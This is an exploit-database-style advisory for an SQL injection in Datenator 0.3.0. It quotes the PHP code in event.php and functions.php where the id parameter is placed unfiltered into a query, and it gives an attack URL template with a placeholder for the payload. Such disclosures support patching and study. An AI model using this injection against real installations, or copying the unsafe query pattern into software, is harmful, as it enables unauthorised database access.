# Exploit Title: Datenator 0.3.0 (event.php id) SQL Injection
# Date: 26.12.09
# Author: The_HuliGun

# Look on code in event.php: 
 
22: if(isset($_GET['id'])) 
23: {
24: 	$event = $datenator->read_event_info($_GET['id']);

# Function read_event_info() is in file includes/functions.php 

412: function read_event_info($event_id)
413:	{
414:		$sql = "SELECT * FROM 
415:		".$this->getConfig('db_tableprefix')."events,
416:		".$this->getConfig('db_tableprefix')."events_repeat 
417:		WHERE 
418:		".$this->getConfig('db_tableprefix')."events.event_id = ".$this->prepare_sql($event_id)." and  
419:		".$this->getConfig('db_tableprefix')."events_repeat.repeat_event_id = ".$this->prepare_sql($event_id)."";
420:
421:		$event_data=$this->db->Execute($sql);
422:
423:		if($event_data) {
424:			return $event_data;
                        ... 

# As you can see variable id is not filtered, so, we can use such exploit with any php settings:

http://[targethost]/[path]/event.php?id=[SQL]

# Bug discovered by The_HuliGun

# Greetz to: NaTka, hope you'll find yourself ;>

# See u soon!